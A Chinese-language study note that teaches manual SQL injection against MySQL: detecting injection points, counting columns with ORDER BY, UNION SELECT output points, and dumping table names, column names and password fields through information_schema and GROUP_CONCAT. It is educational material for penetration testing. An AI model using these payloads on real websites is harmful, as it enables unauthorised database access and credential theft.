- 每日一句:从今天开始真正进入SQL注入攻击
SQL注入是渗透测试最核心的部分
SQL注入也是渗透测试最基础最重要的部分 - 本篇内容:什么是SQL注入
注入的条件
判断注入点
显错注入的基本流程
一、SQL注入的本质
1.SQL注入的本质:用户输入的数据当做代码去执行了。
2.条件
用户能控制输入
在原本程序执行的代码后面,拼接了用户输入的内容,然后被执行了
3.判断是否存在注入点
--古老的判断:
select * from user where id=1 and 1=1 正常输出
select * from user where id=1 and 1=2 未输出
--简单的判断:
select * from user where id=1 正常输出
select * from user where id=1’ 爆出错误
满足以上两个就存在SQL注入,因为拼接的’被执行了
--推荐的判断:
select * from user where id=2 正常输出
select * from user where id=2-1 正常输出
满足以上两个就存在SQL注入,因为拼接的 ‘-’ 被执行了
or sleep(5) 若网站缓存5秒,出现页面,说明输入代码被执行了,存在SQL注入
注意:
and 两边条件的都得成立
or 左右成立一个就行
SQL注入的’'或""成对出现,不能仅出现一个,否则会进行报错
SQL语句支持数字运算,所以可以判断SQL注入,最好不要用“+”,因为“+”有可能被理解为空格和连接符
4.显错注入-联合查询(mysql数据库)的基本流程
-
要求:
联合查询的字段数必须相同,怎么知道当前表的字段数是否相同 --可以用order by -
判断是否存在注入点
猜解字段数 //order by去试试,不出内容或者报错就得出表的字段数
例如:
select * from admin where id = 1 order by 3;正常执行
select * from admin where id = 1 order by 4;爆出错误
说明admin有3个字段 -
联合查询寻找输出点(联合查询,条件是union左右列数相等)
例如:
select * from admin where id = 1 union select 1,2,3,4;
成功执行,就说明一共有4列
注意://select 1,2 就是输出1 2;这些数可以随意定义 -
但是一般网页只有一个输出点,如何输出我们的语句呢?正常网页仅会输出部分数据库内容
用到;limit
limit 0,1 --取结果的第一行数据
limit 1,1 --取结果的第二行数据
例如:
select * from admin where id = 1 and 1=2 union select 1,2,3,4 limit 0,1;
select * from admin where id = 1 union select 1,2,3,4 limit 1,1;
5.爆库
-
database() 查询当前库名
mysql5.0版本以上存在 information_schema这个系统自带库 ,其中保存着关于MySQL服务器中所有数据库的信息。
如数据库名,数据库中的表,访问权限等
//低于5.0只能爆破了 -
information_schema.tables--存放表名与库名的对应。代表information_schema库中的tables表
-
information_schema.columns --存放字段名和表名的对应。代表information_schema库中columns表
例子:select 1,table_name from information_schema.tables
where table_schema=database(); -
查询我们需要的字段的值
注意输出点,在输出点就行替换,假设下列例子输出点在 2 上,对其进行替换
select * from admin where id = 1 and 1=2 union select 1,name limit 0,1;
select * from admin where id = 1 union select 1,pwd limit 1,1;
6.GROUP_CONCAT()(全部输出)
例如:
select GROUP_CONCAT(name) from admin ;
就会将admin之中的name列所有数据输出,用逗号隔开。结果如下:
GROUP_CONCAT(name)
001,002,003
7.手工注入过程
库–表--列–字段
id=-1’ union select 1,2,3,database() 得到本网页的数据库名
id=-1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() 获取数据库中的所有表名()#指定库名database()查表名
id=-1’ union select 1,2,3 group_concat(column_name) from information_schema.columns where table_name=0x666c3467 # 获取所有列名,这里需要用16进制绕过 有的不要绕,直接 ‘表名’ #指定表名查字段名
id=-1’ union select 1,2,3,group_concat(flag) from 表名 得到所有字段,另外order by 给列排序
二、显错注入步骤
第1步:id=1’ //先判断是否存在注入点
第2步:order by 3或order by 4 //来回试,直到显示字段数,为下一步判,断回显点做准备
第3步:判断回显点。
例如:union select 1,2,3 – 随便写。#注释掉后面的limit,因为后面可能还有别的记录,否则剩下最后的’,出现语法错误。还有一种注释是:–+(不常用,+容易被浏览器吃掉)或者是直接加 #
第4步:使用系统自带库查询所有表名和字段名
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema =database() --+ //根据库名找表名,假如显示user和admin两个表名
union select 1,2,group_concat(column_name) from information_schema.columns where table_name =‘admin’–+ //直接根据表名查找所有字段名,假设显示ID和name两个字段
第5步:用group_concat()直接输出字段内容
union select 1,2,group_concat(name) from admin --+ //通过查找出来的表名,直接输出name字段的所有内容
三、总结
- 熟练掌握SQL注入的步骤(手工注入)
- 工具虽好用,但是手工注入是基础
- 实践出真知